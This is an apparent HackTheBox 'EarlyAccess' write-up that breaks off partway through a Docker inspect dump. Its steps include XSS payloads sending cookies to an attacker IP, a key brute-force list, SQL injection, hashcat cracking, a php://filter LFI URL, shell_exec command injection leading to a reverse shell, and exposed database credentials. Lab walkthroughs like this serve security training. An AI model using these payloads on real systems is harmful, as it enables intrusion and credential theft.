S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", 